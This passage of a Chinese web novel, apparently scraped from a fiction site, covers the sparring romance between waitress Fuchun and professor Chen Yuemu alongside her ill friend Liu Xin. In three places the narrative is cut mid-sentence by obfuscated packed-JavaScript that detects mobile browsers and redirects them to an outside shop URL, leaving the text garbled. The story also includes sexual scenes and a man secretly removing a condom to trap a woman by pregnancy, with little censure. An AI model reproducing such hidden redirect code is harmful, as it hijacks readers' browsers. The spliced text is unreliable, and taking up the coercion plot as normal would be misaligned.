福春对东西放在他那还是放心的,反正现在走不了,东西可以慢慢找机会拿。 她把手机揣进口袋警告陈悦目,“说好了七天就七天,不准反悔!”福春不给他掰扯的机会,说完一溜烟跑走。 * 暂时摆脱了陈悦目,她又把心思继续放在赚钱上。在轮休前一晚,福春忙完赶到阮晓柔家看望刘芯。 “还说来看我们,沾枕头就睡。”刘芯坐在床边和阮晓柔说话。 “累坏了。”阮晓柔把孩子哄睡后放在福春身边,“一个大孩子,一个小孩子。” “辛苦她了,为我的事东奔西走。” 小屋子里几个小虫围着暖黄的光飞绕,刘芯低头,伸手遮在福春眼睛上,“她就是这样,对谁都好的掏心掏肺,也不管值不值得。” 福春这次回北江全是为了刘芯。 刘芯从小心脏不好,原来靠药物控制,这几年病情愈发严重,已经到了需要做手术的地步。这次进城就是为了手术的事,她是来找父母要钱做手术的。 “连我父母都做不到。” 刘芯家在村里算比较富裕,她父母是最早一批进市里打工的。那时候夫妻俩做小本生意赚钱辛苦,加上刘芯身体原因所以就没带她进城。后来有了弟弟,一家人忙着照顾小的怕忙不过来又继续把她放在农村。前两年刘芯爷爷奶奶都不在了,父母也没说让人进城一起生活。 “其实我们这么多年没见,感情都生疏了。”刘芯有时甚至忘了爸妈长啥样。和他们说话都是为了要钱买药,总要钱刘芯也很羞愧,好像欠了他们一样。 “天下父母心,你爸妈肯定疼你,不然也不会一直给钱让你治病。”阮晓柔安慰,“村里那些乌七八糟的事我们又不是没见过,人心狠着呢!” “是吗?” 刘芯知道父母爱她,可是爱有多少就不得而知。 做手术的事她只开了个头,父母就给她五千说多的没有了。她拿着五千装傻,笑呵呵地说谢谢爸妈。其实刘芯在楼下都看见了,弟弟买的新车是奔驰。 “不说这些,能做就做不能做就算了,人总有一死。”刘芯躺下来悄声说。 夜阑人静,阮晓柔抱起孩子出屋给她们关上灯。 过了一会,福春在床上翻了个身。 * 翌日,距离福春要求的期限只剩一天。陈悦目重新去加她的微信顺便每日一问:“想好没有?” 他发完消息按开密码锁发现屋内传来响动。洪婶昨天才来打扫所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278338|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在家里不可能有人,陈悦目立刻把门关严,拉住门把手低吼:“谁在里面?” 屋里静悄悄。 “我报警了。” 过了一会,门内瓮声瓮气回答:“是我。” 陈悦目眼睛一亮,假模假样咳嗽两声压下得意,打开门慢悠悠走进去。 “舍得回来了?” 福春站在屋内,朝他伸手:“你把东西还给我。” 地上乱七八糟,倒着被拖出来的保险箱,还有一堆一堆的纸散落。陈悦目看清状况抱手站在那又露出骂人似的笑。 “你来就是为了这个?” “你先把东西还我。” “我说过你回来就还你。” “你这是抢。” “你这叫偷。” “我不跟你说了。”福春推开他要走。 “站住。”陈悦目威胁,“你敢走我就报警,说你偷东西,走廊有监控。” “我偷你什么了,你这破保险箱都没打开,我连个屁都带不走。” 福春扭过头回嘴,见他背对自己站着连身都不转的得瑟吊样来气。她心想陈悦目要是敢说她偷了他的心,她就打死这个恶心怪。 好在陈悦目没这样,但是回答依旧很恶心,是资本家剥削劳动人民的恶心,“你偷了我的RichardMille,两百万的手表。” “你别太过分陈悦目。” “没你过分,死骗子。” “我说了我没骗你,少骗子骗子地叫我!” “臭东西。” “陈悦目跟你没完——” 福春邦邦给他几拳,又打又踹把陈悦目衣服扯得松松散散,一不留神两人缠成麻花扭在一处难分难舍。双方嘴里不干不净,吵得面红耳赤气喘连连,非要以吻堵上才罢休。 “还敢说你没骗我。” “我就是没有骗你。” 陈悦目把人压在床上箍住,从他们相拥的那一刻他就知道他们依旧属于彼此。可是消失的这半年她到底去了哪,做什么,陈悦目一无所知。福春对他隐瞒了很多事,不肯跟他透露半点。 她只把他当成生命的过客从没有过一点留恋,在他已经把身心交托给她的时候。 “为什么离开我?” “……” “因为我爱你…… “是不是?!” 福春要挣脱,双手被陈悦目牢牢禁锢,他的目光如探照灯将她紧迫锁定。她偏过头不敢看,被掰住下颚强迫直视对面双眼。 “你爱我吗?” 福春闭上眼痛苦蹙眉。 她没骗过他,是真的。 “不爱。” …… 阳光明媚,空气清爽,大床柔软还有随手放在床脚没看完的书,属于他们两人的家从未变过,以及福春不爱陈悦目。 吧嗒! 水龙头漏下一滴泪。 “我们不是一路人。”福春说。 陈悦目什么都听不进去,在福春说不爱他的时候自尊碎得四分五裂,只有执念牢不可破盘踞在脑海。 明明最开始的时候他比谁都清楚福春就是个无赖,吃定他咬死他让他没辙,可陈悦目已经走火入魔。 “你爱我,你一定爱我,你只是害怕。” “我不爱你,我肯定不爱你。” “你懂什么是爱,我是你第一个男人!” “我会爱,我爱过人。我的爱不用男人教!!” 陈悦目不信邪,用所有尽下流手段一定逼她说出我爱你。 “让我走吧,陈悦目。” 福春紧紧攥住床单,像孤独挣扎在汪洋大海的溺水者。浪潮一阵一阵翻涌,让她意识在模糊与清醒之间来回摇摆。 如果陈悦目只是个寡情薄意的纨绔那么他们还可以没心没肺的相处,可是福春看走眼了,陈悦目不是那种人。 这死狗心里竟然还有爱。 她喜欢爱,也会爱人,对心中有爱的人总是很仁慈。 福春不想伤害他,在每一次要淹没的时刻,即使海水倒灌,也要在口中喋喋:“我不爱你。” 29. 爱我 “爱我,爱我,爱我!爱我爱我爱我!” 床铺之上发泄后瘫软交叠的两具肉/体像捉不起的泥鳅。 福春抽噎着,缓过神来用最后一点力蹬开陈悦目,破口大骂:“陈悦目你王八蛋!” 她跳起来给他两脚,每一下都往陈悦目屁股上踹,“我要阉了你这死狗!” 套子早就干掉,不知道在什么时候被摘下来丢在地上。陈悦目一边挨揍一边笑,跟疯了一样。 他要让福春怀孕,生一个,生两个,生三个,每个孩子都是扎根在土地里的锁链,牢牢将她锁住再也跑不掉。 从前陈悦目不屑这样的做法,现在他成了这套理念的拥趸。 福春脚踩着他的脸恶狠狠说:“我跟你一刀两断!”她再也不想见到这王八蛋,提上裤子摔门离去。 到嘴的鸭子岂能让它飞走,陈悦目不会轻易放人。两周后,他又来到海底捞,坐在福春负责的区域指明让她服务。 “你以为ktv点公主呢?这是海底捞!”福春一边倒水一边用腹语骂他,“王八犊子你老实坐着,敢找麻烦我弄死你。” 她说完随即又绽开笑容大声道:“给您撇一下浮沫。” 陈悦目睨着她揶揄:“海底捞还教变脸吗?” “教,什么都教。我建议你也来干两天,专治没皮没脸。” 福春端起碗碟要走,又被陈悦目拉住,“给我唱首生日歌。” “唱生日歌要预约。” “上次怎么可以?” “上次看你们人多。” 陈悦目伸手要叫经理。 “哎哎!”福春还指着月初那点工资生活,迫于生计只能老老实实叫来人唱歌。 陈悦目这个恶徒唱完歌又照上次把海底捞所有能点的项目都点了一遍。diy的网红吃法全部让福春来来回回伺候他做了满满一桌。 拖到大晚上快下班的时候福春忍不住抱怨:“我们工资计件算的,你这样我还赚不赚钱呀?”福春也将他一军,“赚不到钱我就跑路了。” “……我以为点的多能帮你多赚些。” “你真想帮我多赚要么多带几个人要么多长几个头。” 陈悦目调侃:“福春,半年不见你更幽默了。” “吃完赶紧走,好让我翻台。” “几点下班?” “11点,结账去外面等我,我有话跟你说。” 陈悦目心下一动,语气却与任何往常无二:“什么事?” 福春捏捏他下巴回答:“要紧事。” “好。” 他痛快结账,将吃的东西全部打包送给福春。等到商场关门,陈悦目站在门口外终于等来人。 “多注意休息。”他靠近将福春头发撩到耳后关心道,“身体没事吧?” 问这句醉翁之意不在酒,打的什么主意双方心知肚明但都不戳破。福春瞟向他伸过来的手顺着他的话说:“觉得又有点累,恶心。” “我陪你去趟医院。” “去了。” “医生怎么说?” “医生说啊……”她笑眯眯从身后掏出个黑色垃圾袋,猛地照陈悦目脸上抽过去。 “身体好着呢!能活五百岁!!!” 陈悦目愣了下神,等看清是什么东西连连后退疯狂干呕。 满天的卫生巾,哗啦啦落在他身上。 福春扬起袋子嘴里叫嚣:“杀千刀的,喜欢恶心人是吧,老娘也喷点东西送给你……” 她憋了两周就等这一刻呢,没想到陈悦目自己送上门来了。这狗货就是发霉的老被子欠抽! “没怀孕你是不是觉得很可惜啊?” 福春扔完袋子里的就捡地上的卫生巾继续丢他,像山上扔屎的野猴。 陈悦目在震惊中迟迟无法缓神,最后憋了口气强忍着恶心跨步上前将人制住,“闹够了没有!” 福春没闹够,还试图把卫生巾塞陈悦目嘴里,被他反剪双手作押送犯人状。 “我闹你大爷!”她不服自己的报复凭什么降格为闹,小孩子做错发脾气才叫闹,“我这叫替天行道。” “恶不恶心,还专门带用过的卫生巾到处跑!”陈悦目怫然,转念又想到什么压不住嘴角笑意半瞋半喜,“你还专门拿着这袋破玩意等我?期待我来找你?” 他乔装怒容斥道:“算了,这回咱俩扯平了。” 福春嗤之以鼻,歪脑袋努力啐他:“咱们俩之间没有扯平,要么你滚,要么你求我!” “还记着呢!小气鬼。” 他松开她,手挑起福春下巴想吻上去却被躲开。 “继续待在我身边,做什么我不管你。”陈悦目说,“不放心可以签合同。” “我不要,我才不当玩弄感情的死骗子,就不继续耽误你了。” 福春转身要走。 “回来!”陈悦目喊住她,“我说结束才结束。” “我们俩就没正经开始过吧?”福春反问。 大半夜商场外面的小广场空空荡荡说话还带点回音,陈悦目厚颜无耻说:“是吗?我只跟女朋友上床。” 福春也没好气喊道:“我随便,艹的舒服就行!” 下班的同事正推开门出来,听见话语窒住两秒又默默关上去走卸货通道。 陈悦目想撕烂她的嘴更想撕烂她的衣服。 “没羞没臊。” “我就这样,看不惯你躲我远点。” “我凭什么躲?” “那我躲着你总行了吧?” 两人小学生骂架,一路走一路骂。 分开之后又加上微信互骂,骂一会互删然后加上再继续骂,从微信一直骂到支付宝,大有不死不休的气势。 * “你傻啊,他都带你回家了还觉不出爱来!?”花康宇一语点醒梦中人。 沉默半晌,厕所传出冲水声,福春从里面走出来辩解:“我以为他扯我回去只是为了对付他爸妈呢!” 休息日,四姐妹在阮晓柔家里碰头。 “你少点普度众生的心思吧,自己都泥菩萨过河。” “就是,我这人就这点臭毛病,人美心善。”福春被花康宇扇后脑勺。 阮晓柔一边哄孩子喂奶一边问她:“那就跟了他呗。” 对她来说能踏实过日子已是最大的幸福。 “小熙不爱他呀!”刘芯抢答。 “对呀,我不爱他就不耽误他了。”福春说完呆呆坐在那。 “真的一点感觉都没有?”三姐妹皆歪头好奇。 福春想了想诚实说:“喜欢是肯定喜欢的!在床上特别喜欢。” 花康宇又给了她一下,然后板起脸审犯人似的问:“什么感觉?” 姐妹四个里连刘芯也谈过一段,只有花康宇到现在还是个牡丹,牡丹还写爱情小说。 福春如实交代:“爽!!!” 阮晓柔补充:“那也得和爱的人吧?”她想到什么表情一下变得很难看,“找个不爱的只会觉得恶心,碰一下都恶心。” 福春问她:“那和爱的人是什么感觉?” 阮晓柔望着怀中熟睡的小婴儿想了想说:“嗯……闻不到脚臭。” 花康宇神情疑惑,刘芯垂下头若有所思,福春缠着阮晓柔想叫醒宝宝。 大门突然打开,晓柔老公提前回家,身后还跟着另一个人。 福春嗷一声跳起来,准备和陈悦目拼命。 “少自恋,不是来找你的。”陈悦目拽开她的手,把买来的婴儿衣服和奶粉放在地上。 “陈教授,随便坐。我给您倒杯茶。”晓柔老公穿着鞋套去厨房烧水。 陈悦目一屁股坐福春边上,两人留着一个巴掌宽的距离。福春往沙发边上挪一寸他也跟着挪一寸,直到挪无可挪,陈悦目挑眉看人趾高气昂。 “嘚瑟什么?”福春站起来拿小板凳坐在茶几对面。 阮晓柔不知道陈悦目会来,更不知道自己老公跟陈悦目认识。她走去厨房问丈夫,得到的答案模棱两可:“就是在单位认识的,不知道怎么就聊到你了,然后发现大家都认识哈哈。” 阮晓柔对自家这傻缺丈夫无语。 “咋啦?” 她把孩子给他,“没事,你进屋照顾宝宝。” “他们科办的主任和我是朋友,找他聊天的时候刚好碰见的。”等阮晓柔出来,陈悦目先开口解释。 这理由确实没什么好说的,只是一切未免太过巧合,巧合到一切都这么恰恰好。 “还带礼物来,让你破费了。” 陈悦目轻轻啊了一声,随后不经意带过:“不破费,应该的。” 无事献殷勤,非奸即盗。 福春欲起身轰人,刚巧晓柔老公端着茶从厨房出来,“最近准备搬家,家里没什么好茶叶,招待不周。” 玻璃杯内滚滚冒热气,大片茶叶翻滚着占满多半杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318290|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。陈悦目拿起来吹了吹,象征性喝一口然后放在台上。 客厅内恢诡谲怪。 “那个……” “陈教授看起来真年轻。” 陈悦目向侧旁看去一个瘦小佝偻的女人坐在阮晓柔边上,他知道刘芯,但还没和她正式打过照面。 “是大姐吧,常听福春提起你。” 刘芯怪不好意思:“提我干嘛,三天两头跑医院看病的病秧子。那,那什么,小熙这段时间多亏你照顾。” 陈悦目顿了顿,突然火药味十足:“照顾女朋友应该的。我还要谢谢你们这半年收留她,让我一顿好找。” “春儿是为了照顾大姐。”花康宇插嘴,“再说我们也不清楚你俩什么情况就由着她了,不是故意不告诉你。” ”我没怪你们。“陈悦目双腿交叠比阮晓柔还一副主人家的架势坐那缓缓道,“听说你在补习班的工作下个月也不干了。没事啊,正常提流程就好,老板也不会怪你忘恩负义。” 福春朝陈悦目龇牙,还没说话就被花康宇打断。 她脸色铁青坐那双手握杯,沉下声解释:“我下个月去小毛垣复读。先前事情没确定就没说,现在跟您报备。” 花康宇说的小毛垣是北江旁边一个镇上的中学,以专收差生复读,管理严格而闻名所以人送称号小毛垣厂中学。她半工半读始终不是办法,想提高成绩只能心无旁骛复读一年,和姥姥商量后花康宇选择去小毛垣。 阮晓柔这时跳出来缓和气氛:“不是说来看孩子的吗?宝宝睡着了你要不要看一眼?”她把自家抱孩子的老公推出去。 晓柔老公战战兢兢捧着自家娃给陈悦目过目。也不知道是倒霉催的还是陈悦目煞气重,刚瞅一眼孩子就哇哇哭。这下阮晓柔也没辙了,又着急忙慌抱回来哄孩子。 福春看不下去,站起来对陈悦目说:“你跟我来一下。” 陈悦目就等她这句话呢,慢悠悠起来挨近她回答:“好啊。” 狭窄的楼道内,两人在拐角小窗前对立而站。 福春抹了把脸,老实交代:“我接近你是有目的的。” 她实话实说,自己就是个村姑,真没什么好惦记,而且当初接近他也动机不纯,有利用的成分在里头。 陈悦目静默半晌,抬起眼睛淡淡道:“目的达成了吗?没达成你继续啊!” 福春气乐了,对方伸手要摸自己的脸被她一巴掌拍掉。 陈悦目笑道:“唯利是图很正常,没点本事怎么吸引你。要钱,要名还是要性?嫌我一个人不够是吧,那多找几个男人一起伺候你行了吧?” 他如今也是什么浑话都说得出口了,就是这样福春也不看他一眼。 “我说了我不回去,要我说几遍才能听懂。陈大教授你不会听不懂人话吧?” “越来越会骂了,再多骂两句。我让你那仨姐妹一起听。” “这是我跟你的事。”福春揪他领子警告,“敢动她们我就杀了你。” 她狠绝的神情一点不像在开玩笑,如果手里有刀陈悦目笃定她会砍在自己身上。他又一次嫉妒得翻江倒海,福春对所有人都可以掏心掏肺,除了他。 “呵,福春你别逼我,把我逼急了事情就不像现在这么好收场。” “你来呀,我还怕你不成?大不了就同归于尽。” “和你死一块也不算亏。” 福春不想理这疯子。 陈悦目抓住她。 “为什么不肯回来?” “我不爱你,呆在你身边就是行尸走肉。” “先呆着再说。” “我不要。”福春用尽力气把他推倒。 身后灭火器咣啷一声滚到墙根,陈悦目跌靠在墙上,红着眼问她:“你心里那个人到底是谁?” 福春把灭火器捡起来放好转身上楼。 “你不说是吧?那我们之间的帐就好好算清楚。”得意的声音回荡在楼梯间,“花康宇家的债是我还的。” 陈悦目看见她停下脚步。 “这笔钱你说我该找谁要?” 这是他的杀手锏,陈悦目知道用了他俩之间就完蛋了。反正用不用都会完蛋,不如完蛋的彻底一点,做不到让福春爱他就让福春恨他吧。 福春站着楼梯上居高临下,楼上小窗的光刚好有一部分照在她脸颊。她的脸一块明一块暗,和她颤抖激动的声音一样让人捉摸不透。 “好哇,这笔债我来还。” 30. 折磨 下课,陈悦目打开手机见支付宝弹出消息。他平时沟通多在微信上,和学生交流习惯用邮件,能用支付宝传话的只有一个人。 福春:还债。 陈悦目哼一声。 她今天算客气的,也可能在忙的缘故,平时就直接开骂或者跑去农场给陈悦目的鸡胖揍一顿。 陈悦目走到岔路又拐去学校停车场取车,过去的路上把订好的酒店房号发给福春。 对面也甩过来一条链接,并附言40:58,1:10:23,1:26:15,我要这三个姿势。 陈悦目没有马上打开链接,拿着“一年一度扫黄行动”宣传单扇开车里热气,然后才趁发动车子的空档直接把进度条拉到福春指定的位置。呻吟声断断续续,他瞄了一眼,抽空给福春回了个OK。 这是福春的还债方式,钱债肉偿。这年头欠钱的是大爷,福春只要提出还债,陈悦目就要开好房等她下班过来。 家里福春是不会再回去的,她信不过陈悦目,说他会耍手段把她锁住。陈悦目也的确这样想过,但是以福春的性格即使被锁也会从楼上爬下去,相比之下,现在用还债的方式保持联系也不错,她的东西还在家里,以后再慢慢找机会把她骗回来就是。 陈悦目先到酒店,看一眼时间把包放下去浴室洗澡。十五分钟后,外面传来粗鲁敲门声。 他腰上围圈浴巾开门,门外的人二话不说闯进来把他按倒在床铺,然后一屁股坐他脸上。 没有问候,没有温存,直入主题。两人沉默,只偶尔发出喘息。 福春冷着脸翻身坐起来,在陈悦目情动潮红时给了他一巴掌,“今天先还五万。” 恋人之间才会心贴着心,他们是债务关系连接的只有生/殖/器。 她把点的“菜”全部吃了一遍,爽完提裤子就走,头都不带回的把陈悦目丢那。 和喜欢的人才叫做/爱,与陈悦目之间是交/配抵押私人借贷,是冰冷的金钱交易。没有爱,只有恨。 * “我日不死那狗货!”福春坐在门诊室外语气愤懑。 工作日下午,她陪刘芯来医院复诊。 “我还有点积蓄,要不给小语拿去把钱先还上。”刘芯担忧,“那个陈悦目看起来不像正常人。”她还处在上次见面的惊吓中,一想起那个煞星坐在沙发上杀气腾腾就打怵。 “他就那死样。”福春从塑料袋掏出手机玩,“你甭怕他。” “妈呀你先前跟他在一起时也这样吗?那安嘉和你知道吧我觉得和他有点像。小熙,咱躲着他点。”刘芯一紧张就爱疑神疑鬼,絮絮叨叨说着越想越离谱,然后就把自己吓进医院住两天。 福春满不在乎:“放心吧,他敢动我我就跟他同归于尽。富家子的命比我金贵,怎么看都不是划算的买卖。” “你就非要跟他在一起?”刘芯问。 福春抬起头满不在乎:“他要缠上来就让他缠呗,缠到腻歪自然就跑了。” 刘芯还想再说,这时外面的电子屏叫到她的号。福春搀扶她起来,打断了谈话。 北江二院在软硬件上都属北江市最好的医院,无论什么时候来各科室都人满为患。二楼药房18个窗口从九点开始全部大排长龙。拿药基本上没半个小时出不来。 看完病福春暂时把刘芯安置在药房旁边妇产科外的空位上,一转身就撞见夏良协从门诊里面出来。 “哎呦,又见面了。” 福春歪脑袋看看他又看看上面的科室门牌。 “我陪弟妹来的。” “哦,这样。” 夏良协看了眼刘芯问:“不介绍一下?” “这我姐。” “噢,你还有个姐姐啊,长得和你真像。” 福春切了一声打断他:“瞎说,都不是一个爹妈生的。” 夏良协笑道:“你可真有意思。”他转身朝刘芯伸手,“夏良协,算是……福春的朋友?” 刘芯忽然连连咳嗽,“咳咳,不好意思啊,咳咳,小熙给我拿个口罩。” 夏良协脚下默默退开两步。 给刘芯戴上口罩后,福春转头说:“那什么,我就不耽误你了。”她要去对面排队拿药,“有空再聊。” “别等有空,你现在加我微信不就好了?” “你为啥非要加我微信?” “因为他属耗子的,就喜欢偷。”陈悦目在他们身后凭空出现。 如果不是从晓柔家来医院做了一个半小时地铁,福春都以为北江只有指甲盖那么丁点大。 真是越烦谁谁越往跟前凑,妖魔鬼怪凑一窝了,她实在没有挤不出好脾气:“你怎么来了?” “看了你的微信。” “什么时候看的?!” 陈悦目扫一眼身旁两人淡定回答:“1:26:15那个姿势的时候偷看的。” 福春给了他一脚。 挨踹陈悦目也不生气,福春发现他这阵受虐倾向渐渐明显,有好几次被揍的时候他都在偷乐。 傻子才整天乐,福春气不过,转头告诉夏良协:“我去拿药了,回头微信聊吧?” 这下换夏良协在那傻乐了。 两人当着陈悦目的面互扫微信码,夏良协还贱嗖嗖和福春拍个照发朋友圈。 陈悦目就站那看着,完事还给夏良协朋友圈点赞。 拿药的时候陈悦目又跟在福春身边,走一步贴一步,黏得死紧。 “干嘛呢?”福春瞪眼,想抬手抽他又觉得这样是在奖励他。 “别跟那人渣走得太近。” 陈悦目今天穿一身中灰色西装领羊毛风衣配一副银框眼镜,立在那一本正经颇有几分上课的架势。 “人渣?哪个人渣,我就看见旁边黏着个人渣。”福春不是好学生,不喜欢上课听讲。 “我是人渣,但和他比是小巫见大巫。” “一个垃圾堆里的就别比谁更臭了。” 陈悦目循序善诱引导:“他今天自己一个人来医院吗?怎么从妇产科里出来?” “人家陪弟妹来。” “他是独生子。” 前面叫到刘芯的名字,福春赶紧排上去把药单给窗口。 她对陈悦目是烦得透透的,偷看手机的帐还没跟他算,这货居然好意思凑到她跟前嚼舌根。 拿到药,她转身说:“我没功夫看你们在那扯牛子比骚,你要不服气就去找下梁歪单挑,别在我面前叨叨。”然后就走去扶着刘芯下电梯。 陈悦目不死心又要凑上去,“去哪,我送你。” 福春直接竖起中指逆着电梯缓缓升起,给了他干净利落的回答。 * 又是休息日,福春晚上来阮晓柔家找刘芯,一进屋就扎被窝里把人吓一跳。 “妈呀吓死我了。” 她从另一边钻出来与刘芯脸贴脸,两个手指夹着一颗小糖对她说:“姐,吃糖不?” 被窝另一边伸出一只拳出来捶她,福春抬起身子一瞧发现花康宇也在。 “你也来啦!” 晓柔喂完奶就把孩子丢给老公也进屋和她们躺在一块。 四人横七竖八窝那说一会话睡一会觉。 阮晓柔最近心思敏感常把脚伸出去担忧询问:“春儿,你闻我脚是不是臭?”福春闻了闻也把自己的伸出来非要让花康宇比比谁的更臭。 花康宇拍掉她的脚说不如比谁脑子比较蠢。刘芯跳出来端水主持公道评论小语学习最好但是小熙脑子最聪明。 花康宇突然举起手机分享看见的超恐怖小故事,因为顾忌刘芯身体所以只讲给阮晓柔和福春,把刘芯气得在旁边叽叽歪歪抹眼泪说她打击报复。 三人哄好了刘芯不知怎么的话题又扯到男人身上。花康宇舅舅自从知道家里把债还完就开始打姥姥家宅基地的主意。他的地户口分出去的时候已经给了,现在又拿着当初借给花康宇爸妈的钱说事让姥姥把宅基地转给他。 “说什么分男不分女,又说我是花家的人没资格分村里的地,我可去他的吧!” 为这事花康宇三天两头回村帮着姥姥干仗。家里成天坐一堆人在耳边嗡嗡,把老太太气得养了好几只狗看门,现在天天满院子捡屎。 福春快笑死了。 “你还笑!”花康宇指她。 福春她奶也是个不省心的。本来上次都把人轰出去了,她不知道从哪里悄默声过来骑上她舅的三蹦子直接开进沟里去。 大晚上的那一通闹啊,吵得花康宇脑子都快炸了。 四人有老公的骂老公没老公的骂爹骂舅骂姘头,最后得出结论:男人没一个好东西。 夜深人寂,福春睡不着左右翻腾,刚才骂人时又想起陈悦目偷看她手机这茬蹭蹭冒火,她打开微信加陈悦目好友留言:“发张J照看看。” 三分钟后,陈悦目通过好友并且发了照片。福春截图转手给他举报拉黑一条龙。 “小熙。”刘芯从身后抢她手机,“你干嘛呢?” 花康宇和阮晓柔都睡着了,刘芯坐起来把靠在脑袋下的毛毯撑开给她们盖上,转眼看见福春那块还有个小亮点。 “没什么,睡不着撒撒火。”福春见对方点开相册一脸凝滞赶紧找补,“我举报他了,臭流氓。” 刘芯把手机还给她问:“你是不是喜欢那个陈悦目?” “以前喜欢,现在不喜欢了。” 这个回答似乎不是刘芯想要的,她佝偻背坐在床上,呆呆望着窗外月光。福春用食指和拇指捏起她后背薄薄的衣衫晃动,让细小的凉风吹进她身体。 “姐,睡觉吧。” 刘芯躺下来钻进福春的被窝。 “我烦他缠着我才故意折磨他的。”福春把手机放在地上充电,“死变态上赶着找虐那我就不客气了。” 刘芯不置可否:“我对讨厌的人可做不了这么亲密的事。”她伸手将福春的碎发撩到耳后压低声音,“这不是对爱的人才做的吗?” “不爱也能做啊!”福春无所谓,“喜欢做就做呗。” “如果我有了爱人,我会把喜欢的东西和他分享。”她们靠在一起,黑暗中眼睛看着眼睛闪闪发亮,“就像以前我买了冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352710|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淇淋蛋糕也只愿意和你们分着吃,和爱的人分享东西的快乐很美妙。” 福春说:“以后我遇到了爱的人也可以和他做这事。” “那不一样。” 冰凉的空气渗进被缝,刘芯把被子拉高和福春埋进被窝,手点在她的唇上悄悄道:“一起探索的快乐是你们独一无二的体验。如果我先吃完了蛋糕再跟你们一起吃,我知道是什么味道就没意思了,你明白吗?” 福春起了好奇心:“姐,你以前试过吗?” 刘芯摇头:“我在等。” “但我可能等不到了。”她又开始絮絮聒聒,“生啊死的我早看淡了,这次出来也只是为了和你们多待一阵。挺好的,我先投胎转世下辈子还做你们大姐。” 福春搂住她,把她搂进自己怀里,强而有力的心跳声回荡在刘芯耳边。 “如果有下辈子我要当大姐,这辈子你先好好活着。” “小熙,死其实没有想象的那么可怕。” “不要,我不要你们死。” 木门因为干燥发出嘎吱一声响。过了一会,刘芯说:“如果我先去了天上,可以帮你问问她过得幸不幸福。” “别再说了。”福春推开她翻身。 刘芯发现自己说错话,哄了福春好一阵也没哄过来,直到睡着她还是背对自己。 * 刘芯的话多少进了福春耳朵,加上工作忙便好一阵没搭理陈悦目。 工作日,陈悦目抽空去了海底捞找福春。 上次被她举报微信封号三天之后两人再没联系,陈悦目看着自己农场里完好无损的小鸡琢磨:“怎么不揍你了?” 秉承山不就我我来就山的原则,他直接找上门。福春从白班调到晚班,早上十点才从商场后门出来,一出来就被陈悦目堵住。 “好狗不挡道。” “干吗不找我?” “找你干吗?” 陈悦目说:“还债。” 福春打个哈欠,随意找个花坛边坐下。早上风大,她抻脖子迎着风让自己头脑暂时清醒。 “你确定还要这样玩?” 陈悦目上前两步靠近她,沉声问:“你什么意思?” 福春抬头说:“我还你钱,写借条的。” “你觉得我缺钱吗?” “你不缺钱,缺虐。”福春说,“我不想再跟你做了。” “为什么?你跟谁在一起了,夏良协吗?” “我怎么非要在烂人堆里挑一个呢?” 两人挨近,膝盖似有若无擦碰,福春把腿收回不耐烦道:“我想跟我爱的男人在一起。” 这是实话,戳陈悦目心窝子的大实话。 “你爱谁?”陈悦目问。 “不知道,我在等。” 他哼了一声,奚落:“八字没一撇的事。” “那又怎么样?我愿意!” “你就等吧,等到人老珠黄我看除了我谁还要你。”陈悦目狠狠伸手去掐她脸蛋。 福春哎呀一声,拿脚踹他,“你才没人要,我人见人爱。”她挺直身板,连吹在风中的头发丝都透着股自信,“只要我想找很快就能找到,勾勾手就过来。”就是这副样子才勾得人死心塌地甘之如饴。 陈悦目坐在她身边,两人没挨着,中间留了一个指头宽的缝,只有彼此的气味纠缠在一起。 “没找到爱的人之前为什么不能上床?你不会开始信那套守贞的老掉牙观念吧?” “我想和爱的一起做不行吗?好吃的要和爱人一起分享才快乐。” “谁跟你说的?” “反正我觉得有道理。” 男人对吃到嘴的和吃不到嘴的完全是两种态度,得手的时候就高风亮节论忠贞,得不到手就开始大谈特谈解放自由,横竖就为了自己也能凑过去舔一口。 “性和吃喝一样都是生理需求。”陈悦目笑她,“等不到爱的人你就不吃饭了?” ”需求和做/爱不一样,我有很多办法解决,用不着你操心。” “反正都吃了,吃一口和吃两口有什么区别?”陈悦目靠过去,“我不说谁知道,你可以边吃边等。” “你怎么这么烦?叨叨个没完信不信我给你拧下来?!“福春啧他一声,又挪开点,“我愿意分享是我的事跟吃几口没关系,我就想试试和爱的人在一起探索是什么感觉!” 陈悦目撇过头去迎着风不知道在想什么,过了好久他吸吸鼻子回头对福春说:“只用嘴总可以了吧?” 福春很佩服他的没完没了,同时也疑惑自己胯/下到底是有什么巨大的魅力能让他念念不忘,她被都陈悦目逗乐了。 福春拍拍他的脸嘲笑:“陈教授,你这叫舔狗知道吗?” 陈悦目笑着凑过去舔她耳朵。 “滚,你别碰我。” 